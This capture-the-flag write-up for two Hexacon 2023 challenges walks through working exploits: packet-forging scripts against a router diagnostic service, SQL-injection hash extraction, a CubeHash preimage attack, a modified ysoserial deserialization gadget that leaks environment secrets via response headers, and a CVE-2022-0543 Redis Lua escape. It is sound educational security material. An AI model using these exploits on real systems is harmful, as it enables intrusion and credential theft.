Hexacon 2023 challenge writeup

Madame Mercy

July 2023

Contents

ARMlessRouter

This challenge was announced as an easy (1 star) IoT challenge.

```
IoT: ARMlessRouter (*)

This pwn2own-style challenge will allow you to remotely compromise an ARM
router.

1. Map the attack surface
2. Exploit the vulnerable service
3. Retrieve the flag

Files: files.tgz
```

The provided archive contains a launch script, a kernel and a ramfs:

```
$ tar xvf files.tgz
-rwxr-xr-x kevin/kevin 2498560 2023-06-06 16:55 zImage
-rwxr-xr-x kevin/kevin    1065 2023-06-21 10:11 run.sh
-rw-r--r-- kevin/kevin 8025088 2023-06-06 16:55 rootfs.cpio
```

Note: on some Linux distributions you may need to replace a command in `run.sh`

```
#sudo tunctl -t virtnet0 -u $(id -un)
sudo ip tuntap add mode tap user $(id -un) virtnet0
```

Reconnaissance

The launch script boots the kernel and rootfs in a QEMU arm emulator local instance. We quickly find the flag location `/etc/secret_flag` (replaced by a placeholder in the local instance).

We also see 2 network services:

- SSH server on TCP port 22
- `/usr/bin/ddiag_server` on UDP port 1205

After opening `ddiag_server` in our favourite decompiler we see that its purpose is to launch hardcoded shell commands, including an interesting `backup.sh` script:

```
root@OpenWrt:~# cat /usr/bin/backup.sh
#! /bin/sh

echo "Saving everything that matters!"

tar cfz /tmp/backup.tgz /etc/secret_flag >/dev/null 2>/dev/null

#This will be changed in production!!
export BACKUPAESKEY="temp_key_change_it"
#This key is changed in production!!!
#This is a default key for testing purpose.

cd /tmp
/usr/bin/bkp /tmp/backup.tgz >/dev/null
if [ -z $1 ]
then
        echo done
else
        cat backup_conf.tgz.enc | base64
fi
```

So the obvious strategy is to find a way to run this command, retrieve this output and somehow decrypt the tarball containing the flag.

Communication protocol with `ddiag_server`

To determine the protocol specification we open the binary in Ghidra, and launch it manually from a shell to examine debug logs (inside QEMU, you may need to kill `/etc/rc.d/S80start_diag.sh` to stop the already running service).

UDP packets can be sent from Python:

```
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(cmd, ("172.18.1.3", 1205))
out = s.recv(1024)
```

The main packet handling function (address 0x1a2c) describes two versions:

```
struct Packet {
    uint8_t version;
    uint8_t opcode;
    uint16_t length;
    uint8_t opcode2;
    uint8_t _pad;
    uint16_t magic;
    longlong hash[2];
    char payload[400];
};
```

```
uVar2 = (uint)command->magic;
uVar3 = 0x5848;
if (uVar2 == 0x5848) {
  uVar2 = (uint)command->length;
  if (uVar2 < 401) {
    if (23 < uVar2) {
      if (command->version == '\x01') {
        strcpy(logbuf,"Packet v1!");
        logstr(3,logbuf);
        __ptr = (Packet *)handle_v1(command);
      }
      else if (command->version == '\x02') {
        strcpy(logbuf,"Packet v2!");
        logstr(3,logbuf);
        __ptr = (Packet *)handle_v2(command);
      }
```

A valid packet must start with a version byte (1 or 2) and contain the magic bytes HX. Both `handle_v1` and `handle_v2` dispatch packets according to byte `opcode` and each opcode is handled by a dedicated function, possibly depending on `opcode2`.

A packet starts with a length 8 header, followed by a length 16 checksum and a variable size body (packet size is at most 400 bytes).

The checksum works as follows (function 0x1dd4):

- the hash field in packet header is replaced by `"ddiag server md5"` (16 bytes)
- the MD5 of the packet (size specified by length field) is computed
- it must match the hash provided by the client

The server implements many command variants identified by the tuple `(opcode,opcode2)`. For example, the `hostname` command (version=1, opcode=3) accepts opcode2 10, 11, 12:

```
  iVar2 = strcmp(req->payload,"name");
  if (iVar2 == 0) {
```

```
    snprintf(acStack_41c,0x3ff,"%s: hostname query","diag_hostname");
    logstr(8,acStack_41c);
    uVar1 = req->opcode2_;
    if (uVar1 == 11) {
      command = "hostname -I";
    }
    else if (uVar1 == 12) {
      command = "hostname -A";
    }
    else {
      uVar3 = 0;
      if (uVar1 != 10) goto LAB_000114b4;
      command = "hostname";
    }
    runcmd(command,resp);
    uVar3 = 1;
  }
```

The list of possible commands are:

```
Version 1
opcode=2 diag_ifconfig (opcode2: 0, 1, 2, 3, 4, 254)
opcode=3 diag_hostname (opcode2: 10, 11, 12)
opcode=4 diag_size (opcode2: 20, 21)
opcode=8 echo

Version 2
opcode=8 echo
opcode=22 getkey/setkey (opcode2: 30, 31)
opcode=23 uptime (opcode2: 32, 33, *)
opcode=34 meminfo (opcode2: 36, 37)
opcode=43 backup (opcode2: 40, 41)
```

Version 2 protocol details and a checksum flaw

The commands accessible through protocol version 1 are not interesting, so the focus is on version 2. The version 2 protocol is difficult to use due to several "protections":

```
void handle_v2(Packet *pkt) {
  resp_pkt = (Packet *)calloc(0x1a8,1);
  iVar5 = decrypt_packet(pkt);
  if (iVar5 == 1) {
    resp_pkt->version = pkt->version;
    uVar3 = pkt->magic;
    resp_pkt->length = 0x18;
    resp_pkt->magic = uVar3;
    iVar5 = checkmd5(pkt);
  ...
}
```

The incoming packet goes through the following steps:

- the body is decrypted using an unknown AES-128 key, in ECB mode
- the MD5 of the packet (with decrypted body) is compared to the 16-byte hash stored in header

Since the key is considered unknown, it is impossible to compute a valid MD5 from the client side.

However, we see a logic flaw: the length stored in packet header is never checked against the actual packet size, and never used while actually handling commands. So we can use `length=24` so that the MD5 only applies to the packet header (which is known) and ignores the decrypted body (equivalent to random bytes, since the AES key is unknown).

For example:

```
import socket, hashlib
pkt = bytes([2, 43, 24, 0, 41, 0]) + b"HX"
pkt += hashlib.md5(pkt + b"ddiag server md5").digest()
pkt += b"arbitrary body"
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(pkt, ("172.18.1.3", 1205))
```

results in server logs:

```
level: 6 -- Received 38 bytes
level: 8 -- parse: pktsize 38, from 172.18.1.1
level: 3 -- Packet v2!
level: 8 -- checkmd5
level: 3 -- hash is OK
level: 10 -- backup
level: 3 -- Bad query!!
level: 10 -- Error in backup
```

So we successfully passed the decryption and checksum steps, but the backup command is failing because the command body is incorrect: it requires the 6 first bytes to be `"backup"`.

Additionally, the length check flaw does not fully apply to the decryption step, because it always processes at least one block (16 bytes), and we cannot force it to completely ignore the packet body.

Light bruteforce

Let's examine closer the command interacting with the AES key (version 2, opcode=22, opcode2=30). It has 2 modes:

```
  if (req->opcode2_ == 30) {
    if (req->payload[0] == 'G') {
      command_getkey(resp);
    }
    if (req->payload[0] == 'S') {
      command_setkey(resp,req);
    }
  }
```

but the `setkey` command is deactivated so we can ignore it. Since only 1 byte is checked to obtain the key, we can assume that throwing random bytes to the server, if we are slightly lucky the decrypted body will start with a `'G'` byte. If we consider the decryption process as random, this has probability 1/256 of happening.

```
# Get key
for x in range(1000):
    pkt = bytes([2, 22, 24, 0, 30, 0]) + b"HX"
    pkt += md5(pkt + b"ddiag server md5").digest()
    pkt += x.to_bytes(16, "little")
    r = s.sendto(pkt, ("172.18.1.3", 1205))
    out = s.recv(1024)
    if not out.endswith(b"\0\0\0\0\0\0\0\0"):
        print(f"{x=}", out[24:])
```

Output (deterministic):

```
x=17 b'NO_ENV_TEST_KEY_\x00'
x=107 b'NO_ENV_TEST_KEY_\x00'
x=132 b'disabled by configuration'
x=152 b'disabled by configuration'
x=391 b'NO_ENV_TEST_KEY_\x00'
x=697 b'NO_ENV_TEST_KEY_\x00'
```

We observed that we "randomly" triggered the `getkey` and `setkey` commands.

Note that a single 400-byte buffer is allocated by the server, and decryption happens in place: it means that sending an empty body, the server will reuse the decryption output from the previous packet ("uninitialized bytes"), also resulting in a pseudo-random sequence.

```
for x in range(1000):
    pkt = bytes([2, 22, 24, 0, 30, 0]) + b"HX"
    pkt += md5(pkt + b"ddiag server md5").digest()
    r = s.sendto(pkt, ("172.18.1.3", 1205))
    out = s.recv(1024)
    if not out.endswith(b"\0\0\0\0\0\0\0"):
        print(f"{x=}", out[24:])
```

Output (randomized if run multiple times):

```
$ python script.py
x=258 b'NO_ENV_TEST_KEY_\x00'
x=378 b'NO_ENV_TEST_KEY_\x00'
x=414 b'NO_ENV_TEST_KEY_\x00'

$ python script.py
x=79 b'disabled by configuration'
x=129 b'disabled by configuration'
x=211 b'disabled by configuration'
```

On the official challenge instances, we retrieve a static key `"5b42bf8bb9b8cbd6"`.

Flag extraction

Now that the AES key is known, we can send a valid `backup` command by encrypting the string `"backup"` in the packet body.

```
import socket
from hashlib import md5
from Crypto.Cipher import AES

KEY = b"5b42bf8bb9b8cbd6" # prod key
#KEY = b"NO_ENV_TEST_KEY_" # dev key
pkt = bytes([2, 43, 24, 0, 41, 0]) + b"HX"
pkt += md5(pkt + b"ddiag server md5").digest()
pkt += AES.new(KEY, AES.MODE_ECB).encrypt(b"backup" + 10 * b".")
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
r = s.sendto(pkt, (SERVER_IP, 1205))
out = s.recv(1024)
print(out[24:].decode())
```

We obtain the following output:

```
Saving everything that matters!
faHQMqW8ehm82M5DdRSsASzCfJKPKyLFX89lzQtQWXlFkL3u6mpitBPjgUW7MtxJwzncYbEuNTZI
11xBs8/NBavzugfH/l92RbJJn6BcXmmiWzQapOKTUvRqxIf5APbRO8M2ySqWoRye48L7A62KDkfU
cw5jq+NDHQMw+5xSWtQquIkz2FHIkwxVRmPOadNoKtrCPAKBhpW3NURkzOOVspVbDIwDWxGtci1q
kZn41iiCtyaR5z3EWGJ+mP3NvNkL
```

To obtain the actual flag, we still have to understand the behaviour of `/usr/bin/bkp`. But we see a difference between the printed output and the actual implementation:

```
Console output:
root@OpenWrt:/# BACKUPAESKEY="temp_key_change_it" /usr/bin/bkp /etc/fstab
#### Encryption Backup Program ####
Key used for backup is: temp_key_change_it
```

```
Warning: Use a long key, better for security, Using MD5(key) for AES-128-
CBC
74656d705f6b65795f6368616e67655f6974

Implementation:
  data = (undefined4 *)malloc(4);
  *data = *(undefined4 *)key;
  MD5_Init(&MStack_74);
  MD5_Update(&MStack_74,data,4);
  MD5_Final(md,&MStack_74);
  AES_set_encrypt_key(md,128,param_2);
```

The actual AES key is the MD5 of **the first 4 bytes** of the variable BACKUPAESKEY. The IV is hardcoded in the binary and is `"this_is_secretiv"` This means that we can bruteforce the 2^32 possible key values.

The process is made much faster by guessing that the key is a hex digit string (like the AES key) so that there are only 65536 possible values (or at least, restricting to printable characters to have only 2^28 candidates). Only one key gives a valid gzip stream.

```python
from base64 import b64decode
from hashlib import md5
import gzip

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

BLOB = b64decode("""
faHQMqW8ehm82M5DdRSsASzCfJKPKyLFX89lzQtQWXlFkL3u6mpitBPjgUW7MtxJwzncYbEuNTZI
11xBs8/NBavzugfH/l92RbJJn6BcXmmiWzQapOKTUvRqxIf5APbRO8M2ySqWoRye48L7A62KDkfU
cw5jq+NDHQMw+5xSWtQquIkz2FHIkwxVRmPOadNoKtrCPAKBhpW3NURkzOOVspVbDIwDWxGtci1q
kZn41iiCtyaR5z3EWGJ+mP3NvNkL
""")

for i in range(65536):
    key = md5(("%04x" % i).encode()).digest()
    dec = AES.new(key, AES.MODE_CBC, b"this_is_secretiv").decrypt(BLOB)
    if dec.startswith(bytes.fromhex("1f8b08")):
        print("key=%04x" % i, "AES key", key.hex())
        print(gzip.decompress(unpad(dec, 16)).replace(b"\0", b"").decode())
```

Output:

```
key=ecd5 AES key 0c3cfcf5d84ab8f562ae7ed83bb54a8a
etc/secret_flag000075500000000000000000000013514322062026012527 0ustar
rootroot#This is the real flag
HXN{8c7b6c79563d37e0e70cd4865e434591a8f84289f78978a8c0efca89f2368ff5}
```

which gives the first flag!

AlmostIsoSerial

This challenge was announced as a medium (2 stars) web/crypto challenge.

```
Have you ever analyzed a java application with some viewstate mechanisms? How
can someone protect themselves against deserialization while allowing it?
Anyway, take a deep look at our application. Be careful, some security
mechanisms are present.

Sources: sources.7z

Pre-configured VM: vm.7z
```

In provided sources the service is implemented as a `docker-compose` set of containers, using standard mysql/redis/nginx Docker images and the main Java application `viewer.jar`. The pre-configured VM allows to run the set of services without having to configure Docker.

```
% bsdtar tvf sources.7z
...
-rw--      2048 Jun 21 11:25 sources/docker-compose.yml
-rw--     14313 Jun 21 11:25 sources/mysql/docker-entrypoint.sh
-rw--       191 Jun 21 11:25 sources/mysql/Dockerfile
-rw--       345 Jun 21 11:25 sources/mysql/initdb.d/40-schema.sql
-rw--      2970 Jun 21 11:25 sources/mysql/initdb.d/50-data.sql
-rw--      3996 Jun 21 11:25 sources/profiles/docker-custom
-rw--       928 Jun 21 11:25 sources/proxy/nginx.conf
-rw--      1319 Jun 21 11:37 sources/Readme.md
-rwx-        94 Jun 21 11:25 sources/redis_server/docker-entrypoint.sh
-rw--       564 Jun 21 11:25 sources/redis_server/Dockerfile
-rw--        68 Jun 21 11:25 sources/redis_server/flag
-rwx-     14312 Jun 21 11:25 sources/redis_server/getflag
-rw--     62581 Jun 21 11:25 sources/redis_server/redis.conf
-rw--       279 Jun 21 11:25 sources/viewer/Dockerfile
-rw--  53446863 Jun 21 11:25 sources/viewer/viewer.jar
```

The flag is located in the context of the Redis container and can be read by a `setuid` binary. The `nginx` configuration is simple and standard, and the main visible mitigations are AppArmor restrictions on the Java application, and a Redis configuration restricting access to various commands.

Web application overview

The Java application is not obfuscated and can be decompiled using JADX without difficulty. Assuming third-party libraries have not been modified, it is enough to consider the `com.inyourfaces.viewer` class hierarchy.

```
com.inyourfaces.viewer
 `- ViewerApplication
 `- controllers
 |  `- MovieController
 |     `- MovieController$SortParameter
 `- models
 |  `- Movie
 |  `- User
 `- repositories
 |  `- MovieRepository
 |  `- UserRepository
 |  `- UserRepositoryImpl
 `- security
 |  `- CubeHash
```

```
|   `- DigitalSignature
|   `- SecurityConfiguration
`- services
|   `- SecurityUserDetailsService
`- utils
    `- CustomAuthenticationProvider
    `- RedisConfigureAction
```

As confirmed by the `nginx` configuration we are interested in 2 URLs `/login` and `/movies` and most fun seems to be located in the second one.

The WebApplication stores data in the MySQL database through abstractions provided by the `repositories` and `models` classes, and implements the main view in the `MovieController` class.

Login page bypass

The first step is to bypass the login page. The implementation of the User model hints at a possible SQL injection, because a raw SQL query is constructed using `String.format`.

```
@Override // com.inyourfaces.viewer.repositories.UserRepository
public Optional<User> findUserByUsername(String username) {
    String sql = String.format("SELECT u from User u WHERE (username='%s' and enabled=(1))", username);
    TypedQuery<User> typedUser = this.entityManager.createQuery(sql, User.class);
    return typedUser.getResultList().stream().findFirst();
}
```

The login page requires a valid `User` object to be returned by the database abstraction and then verifies the password through an unsalted MD5 hash in class `CustomAuthenticationProvider`.

```
public Authentication authenticate(Authentication authentication) throws AuthenticationException {
    String username = authentication.getName();
    try {
        String submitedHashedPassword = hashPassword(authentication.getCredentials().toString());
        UserDetails user = this.userDetailsService.loadUserByUsername(username);
        if (submitedHashedPassword.equals(user.getPassword())) {
            return new UsernamePasswordAuthenticationToken(
                user.getUsername(), user.getPassword(), new ArrayList());
        }
        throw new BadCredentialsException("Invalid credentials");
    } catch (NoSuchAlgorithmException e) {
        throw new BadCredentialsException("Invalid credentials");
    }
}
```

When entering dummy credentials we observe 2 kinds of server feedback:

- `admin/admin` returns `Invalid credentials`
- `user/user` returns `User not found`

We also know from the definition of the `User` model that the SQL database has 3 columns `username`, `password` (MD5 hash), `enabled`. The login page feedback provides an oracle returning whether a given SQL request has returned a user or not.

The following SQL query can be constructed by injection and determines whether a hash prefix is correct for the `admin` user:

SELECT u from User u WHERE (username='**admin' and password LIKE 'PREFIX%**' and enabled=(1))

For example we can send all possible hex digits for the PREFIX to detect which one is the correct first character of the MD5 hash. Once this is determined we can guess the second character. This requires 16x16 queries to obtain the first 16 hex digits of the hash (`9884f65eb44565fc`).

The `rockyou` database can then be used to crack the password using this half-MD5 hash:

```
$ hashcat -m 0 -D 1 9884f65eb44565fc rockyou.txt
...
9884f65eb44565fc:alejandro1+
```

We then verify that the password `alejandro1+` is valid for user `admin`, and observe that it is always valid over official challenge instances (it is not randomized).

Reconnaissance before the deserialization attack

The challenge description explicitly mentions Java deserialization, which is a known gateway to RCE in Java applications allowing deserialization of attacker-controlled payloads.

Sample resources for this type include:

- The ysoserial repository https://github.com/frohoff/ysoserial
- Synacktiv blog posts https://www.synacktiv.com/publications/finding-gadgets-like-its-2015-part-1

The vulnerable code snippet can be recognized by the use of an `ObjectInputStream` in `MovieController`:

```
if (sortBy.isPresent() && !sortBy.get().isEmpty()) {
    String[] sortSignedPayload = sortBy.get().split(":");
    if (sortSignedPayload.length == 2) {
        try {
            byte[] sortPayload = Base64.getDecoder().decode(sortSignedPayload[0]);
            String sortSignature = sortSignedPayload[1];
            if (this.ds.hexVerify(sortPayload, sortSignature)) {
                ObjectInputStream objInputStream = new ObjectInputStream(
                    new GZIPInputStream(new ByteArrayInputStream(sortPayload)));
                sortField = ((SortParameter) objInputStream.readObject()).sortBy;
                objInputStream.close();
            }
        } catch (ClassNotFoundException e) {
            this.logger.error("Class not found", e);
        } catch (Exception e2) {
            this.logger.error(e2.getClass().getSimpleName(), e2);
        }
    }
}
```

However to reach this vulnerable code, we have to provide a valid `sortBy` parameter, which is a Base64-encoded, signed, GZip-compressed serialized Java object.

When opening the `/movies` URL, the server provides signed payloads used to sort columns of the Movies table:

```
public class MovieController {
    ...
    @Autowired
    private DigitalSignature ds;
    ...
    private String convertToString(Sort sort) {
        ByteArrayOutputStream byteOutputStream = new ByteArrayOutputStream();
        try {
            ObjectOutputStream outputStream = new ObjectOutputStream(
                new GZIPOutputStream(byteOutputStream));
            outputStream.writeObject(new SortParameter(sort));
            outputStream.close();
            byte[] output = byteOutputStream.toByteArray();
            String str = Base64.getEncoder().encodeToString(output)
                + ":" + this.ds.hexSign(output);
            outputStream.close();
            return str;
        } catch (Exception e) {
            this.logger.error(e.getClass().getSimpleName(), e);
            return ":";
        }
```

```
    }
}
```

The signature is a Ed25519 signature using a randomly generated key pair, authenticating a hash obtained by the CubeHash digest algorithm.

```
public class DigitalSignature {
    private static final Provider PROVIDER = new BouncyCastleProvider();
    private final KeyPair keyPair = KeyPairGenerator
        .getInstance("Ed25519", PROVIDER).generateKeyPair();

    public byte[] sign(byte[] message) throws
        InvalidKeyException, NoSuchAlgorithmException, SignatureException {
        CubeHash c = new CubeHash();
        c.update(message);
        byte[] data = c.digest();
        Signature sig = Signature.getInstance("Ed25519", PROVIDER);
        sig.initSign(this.keyPair.getPrivate());
        sig.update(data);
        return sig.sign();
    }

    public String hexSign(byte[] message) throws
        InvalidKeyException, NoSuchAlgorithmException, SignatureException {
        return new String(Hex.encode(sign(message)));
    }
    ...
}
```

Assuming the Ed25519 signature is secure, a reasonable attack strategy is to find a preimage attack on CubeHash so that an existing signature returned by the server can be reused for our own payloads.

Preimage attack for weak instances of CubeHash

The CubeHash algorithm is a proposal by DJB (https://cubehash.cr.yp.to/index.html) for a cryptographic hash algorithm using an ARX (Add-Rotate-Xor) scheme, which can also be found in the well-known Salsa20/ChaCha stream ciphers.

An important feature of these algorithms is that they are all based on an *invertible* round function. In Salsa/ChaCha the main computation is `Block += Round^n(Block)` which avoids inverting the transformation. In CubeHash this technique is not used. Instead, the security is based on the fact that the input data is fed only to a small part of the inner state, so that it is very difficult to forge data resulting in an arbitrary inner state.

In the challenge, the implementation differs significantly from secure CubeHash instances:

- instead of using a state of 32 uint32 values, a state of 32 uint16 values (64 bytes) is used (this is visible through multiple occurrences of `0xffff` in the `CubeHash` class)
- the input data block size is 62 bytes, which is not small compared to the state size
- the final hash is the first half of the state (32 bytes)

To compute a preimage we use the following principle:

- we look for a data block going from a state S1 to a state S2 (64-byte states)
- the CubeHash computation is `Round^k(S1 XOR (Block+00)) == S2` (Block is 62 bytes)
- compute `CandidateBlock = S1 XOR Round^-k(S2)`
- if the CandidateBlock (64 bytes) ends with 2 zero bytes, it corresponds to a valid 62-byte block

To apply deserialization attacks, we are interested in preimages with a given prefix (our payload), because the `readObject` method will read one object at the beginning of the stream. We can apply the following strategy:

- Compute the hash state S1 obtained by hashing the prefix P
- Start from the target state S3 and apply a random block B2 (in reverse) to obtain a state S2
- If the previous technique find a valid block B1 to go from state S1 to S2, return P | B1 | B2
- Otherwise use another random block B2

This technique is described in https://cubehash.cr.yp.to/submission/generic.pdf. Note that here we find a preimage for the entire final state: since the actual hash is only half of the state, we can randomize the second half of the final state to find a preimage using a single block. However we must apply 160 inverse rounds to the final state so using a single final state is faster (intermediate blocks need only 16 rounds).

The inverse round can be implemented in Python (the forward round as well):

```
def invround(self):
    # Swap
    for i in range(16, 32, 2):
        self.state[i + 1], self.state[i] = self.state[i], self.state[i+1]
    # Xor
    for i in range(16):
        self.state[i] ^= self.state[i + 16]
    # Swap
    for i in range(2):
        for j in range(4):
            self.state[8*i+j], self.state[8*i+j+4] = \
                self.state[8*i+j+4], self.state[8*i+j]
    # Add, rotate
    for i in range(16):
        self.state[i] = rot(self.state[i], 5)
        self.state[i + 16] -= self.state[i]
        self.state[i + 16] %= 65536
    # Swap
    for i in range(2):
        for j in range(16, 32, 4):
            self.state[i+j], self.state[i+j+2] = \
                self.state[i+j+2], self.state[i+j]
    # xor
    for i in range(16):
        self.state[i] ^= self.state[i + 16]
    # Swap
    for i in range(8):
        self.state[i + 8], self.state[i] = self.state[i], self.state[i+8]
    # Add, rotate
    for i in range(16):
        self.state[i] = rot(self.state[i], 9)
        self.state[i + 16] -= self.state[i]
        self.state[i + 16] %= 65536
```

The preimage attack will usually require about 2^16 iterations:

```
def cubehash(message):
    H = CubeHash()
    for i in range(0, len(message) + 1, 62):
        if i > len(message) - 62:
            return H.finish(message[i:i+62]), H.state
        else:
            H.update(message[i:i+62])

def collide(ref, prefix):
    # Make prefix a multiple of block size
    prefix += (62 - len(prefix) % 62) * b"\0"
    assert len(prefix) % 62 == 0
```

```
    h, st = cubehash(ref)
    # Go backwards before the final rounds
    H = CubeHash()
    H.state = st
    [H.invround() for _ in range(H.f)]
    H.state[-1] ^= 1
    [H.invround() for _ in range(H.r)]
    st2 = H.state.copy()
    # Compute state from required prefix
    H = CubeHash()
    for i in range(0, len(prefix), 62):
        H.update(prefix[i : i+62])
    st1 = H.state.copy()
    # Find collision
    H = CubeHash()
    for i in range(1 << 24):
        H.state = st2.copy()
        H.state[0] ^= i & 0xffff
        H.state[1] ^= 0x8000 | (i >> 16)
        [H.invround() for _ in range(H.r)]
        if H.state[-1] == st1[-1]:
            # Middle block
            middle = b"".join(
                 (H.state[j] ^ st1[j]).to_bytes(2, "little")
                 for j in range(31)
            )
            last = i.to_bytes(3, "little")
            preimage = prefix + middle + last
            assert cubehash(ref) == cubehash(preimage)
            return preimage

ref = bytes.fromhex("c0dec0de")
prefix = bytes.fromhex("1234567890abcdef")
preimage = collide(ref, prefix)
assert cubehash(ref) == cubehash(preimage)
print(preimage.hex())
# 1234567890abcdef0000000000000000000000000000000000000000
# 0000000000000000000000000000000000000000000000000000000000000000
# 15dd7482bf611436598bc8d13593b7943a04a4ee98fb24f700f5f4cca33765
# f56b1a5146fb927f9c807d7db8382e28df411b7587542899e83be3903f0519
# 311400
```

Deserialization attack

Deserialization attacks rely on availability of suitable classes in the CLASSPATH allowing for arbitrary code execution during unmarshalling.

The repository `https://github.com/frohoff/ysoserial` contains various predefined gadget chains and we notice that `viewer.jar` contains Apache Collections 4 (`lib/commons-collections4-4.0.jar`).

As a first step, we can use the predefined shell execution gadgets named `CommonsCollections2` and `CommonsCollections4` targeting this library.

Using the CommonsCollections4 exploit fails:

```
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by
org.apache.commons.collections4.functors.InstantiateTransformer
(jar:file:/viewer.jar!/BOOT-INF/lib/commons-collections4-4.0.jar!/) to
```

```
constructor
com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter(javax.xml.transform.Templates)
WARNING: Please consider reporting this to the maintainers of
org.apache.commons.collections4.functors.InstantiateTransformer
WARNING: Use --illegal-access=warn to enable warnings of further illegal
reflective access operations
WARNING: All illegal access operations will be denied in a future release
```

But the CommonsCollections2 succeeds (however, command execution is blocked by AppArmor):

```
$ strace -e execve ...
[pid  3716] execve("/bin/ls", ["ls", "-l"], 0x7ffd4f24e6c8 /* 19 vars */)
= -1 EACCES (Permission denied)
```

The AppArmor sandbox is very restrictive and does not allow command execution or opening files except the ones needed for Java to work correctly.

However, arbitrary command execution is implemented by `ysoserial` using Java code `java.lang.Runtime.getRuntime().exec(COMMAND)` and we can replace this snippet by arbitrary Java code for convenience:

```
+++ b/src/main/java/ysoserial/payloads/util/Gadgets.java
@@ -114,9 +114,7 @@ public class Gadgets {
         final CtClass clazz = pool.get(StubTransletPayload.class.getName());
         // run command in static initializer
         // TODO: could also do fun things like injecting a pure-java
         // rev/bind-shell to bypass naive protections
-        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
-            command.replace("\\", "\\\\").replace("\"", "\\\"") +
-            "\");";
+        String cmd = command;
```

Since the Redis password is available in the Java application environment (`REDIS_PASSWORD`) we can extract it and output it to the logs, which is easy to observe in the Docker container:

```
System.out.println(System.getenv("REDIS_PASSWORD"));
```

but this is unsuitable for remote extraction. The Spring framework allows to access a global thread-local context from any function to access the HTTP request/response objects. In particular, we can use this to set a HTTP response header:

```
((org.springframework.web.context.request.ServletRequestAttributes)
 (org.springframework.web.context.request.RequestContextHolder).getRequestAttributes()
 .getResponse().setHeader("X-Redis-Password", System.getenv("REDIS_PASSWORD"));
```

The exploit is then the following:

- open the `/movies` page
- extract the signed serialized `sortBy` objects from the HTML
- construct a serialized gadget and append a suffix producing a hash collision to reuse the same signature
- send a request using this `sortby` parameter and extract the `x-redis-password` header
- obtain the Redis password `oxu8gAlw6OvNB_EyemBVxhFleZ3lI58stXxYN5i5OGd0Daz0OC1tYA`

The Redis password is randomized for each instance

Redis sandbox escape

The Redis configuration blocks access to many commands:

```
rename-command BGREWRITEAOF ""
rename-command BGSAVE ""
rename-command CLIENT ""
rename-command CLUSTER ""
```

```
rename-command CONFIG ""
rename-command DEBUG ""
```

Redis supports many commands and it may be inconvenient to read the entire documentation to understand which commands are still enabled. But of course, there is a command for this purpose: on the test local instance, we can use the `COMMAND` command on Redis to enumerate enabled commands.

After careful inspection we notice that the command `EVAL` is accessible and gives access to Lua scripting which is often vulnerable to sandbox escapes whenever too many libraries are available in the scripting context. In particular the challenge uses Redis 5.0.7 which is vulnerable to CVE-2022-0543 describing such a flaw. A PoC is available at https://github.com/aodsec/CVE-2022-0543.

Using this example we can use this Lua snippet to execute the setuid binary (the Redis server is not sandboxed by AppArmor).

```
local io = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0","luaopen_io")();
local f = io.popen("/usr/sbin/getflag", "r");
return f:read("*a")
```

However, we have a problem: the `getflag` program requires a valid tty to print the flag.

```
uVar1 = fileno(_stdout);
iVar2 = isatty(uVar1);
if (iVar2 == 0) {
    uVar3 = 1;
} else {
    iVar2 = __isoc99_scanf("%d", &var_1ch);
    if (iVar2 == -1) {
        uVar3 = 1;
    } else if (var_1ch == 0xcafebabe) {
        iVar2 = clearenv();
        if (iVar2 == 0) {
            iVar2 = setgid(0);
            if (iVar2 == 0) {
                stream = (FILE *)fopen("/flag", "r");
```

A common technique to allocate a tty in non-interactive context is to use the `script` command. We also need to provide the correct integer `0xcafebabe` as input. We can validate the exploit on the local container using the command line client:

```
172.20.0.2:6379> AUTH redis_password_changed_on_remote
OK
172.20.0.2:6379> EVAL 'local io = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0","luaopen_io")();
local f = io.popen("script -qefc \"echo 3405691582 | /usr/sbin/getflag\" /dev/null", "r");
return f:read("*a")' 0
"Congrats!\r\nYou solved this : HXN{the_flag_is_on_the_remote_instance}\r\n\r\n\r\n"
```

We now need to send these commands to the remote Redis instance, which is not directly accessible on the Internet. The RCE in the Java application can be used for this purpose. We use the same patched `ysoserial` gadget as in the previous paragraph with a longer Java snippet. This example uses a hardcoded password but the password can be retrieved dynamically using `System.getenv("REDIS_PASSWORD")`.

```
    java.net.Socket s = new java.net.Socket("redis", 6379);
    s.getOutputStream().write(("*2\r\n$4\r\nAUTH\r\n$54\r\noxu8gAlw6OvNB_EyemBVxhFleZ3lI58stXxYN5i5OGd0Daz0OC1tYA\r\n"
       +"*3\r\n$4\r\nEVAL\r\n$197\r\nlocal io = package.loadlib(\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\",\"luaopen_io\"
       +"local f = io.popen(\"script -qefc \\\"echo 3405691582 | /usr/sbin/getflag\\\" /dev/null\", \"r\"); return f:read(\
       +"$1\r\n0\r\n").getBytes());
    byte[] buf = new byte[1024];
    s.getInputStream().read(buf);
    String flag64 = java.util.Base64.getEncoder().encodeToString(buf);
    ((org.springframework.web.context.request.ServletRequestAttributes)
 (org.springframework.web.context.request.RequestContextHolder).getRequestAttributes())
 .getResponse().setHeader("X-Hexacon-Flag", flag64);
```

The buffer must be large enough to receive the output, because the flag file is a long string:

`K09LDQokNjA5DQorPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0`

```
9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT
09PT09PT09PT09PT09PT09PT09PT09Kw0KfCBDb25ncmF0cyEgICAgICAgICAgICAgICAgICAgI
CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwNCnwgWW91IHNvbHZlZCB
0aGlzIGNoYWxsZW5nZSBhbmQgZHJvcHBlZCBhIGZsYWc6IEhYTns3Mjg3MjNmNmM1MDM5Mj
VhMzU2OTM0MDBhMDk3ZjBlZWE3MjRhNGQ5YmUyN2RkNTQ2YmRhM2FiN2UzY2VjZGI2fSB8D
Qp8IFdlIGhvcGUgeW91IGVuam95ZWQgaXQuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
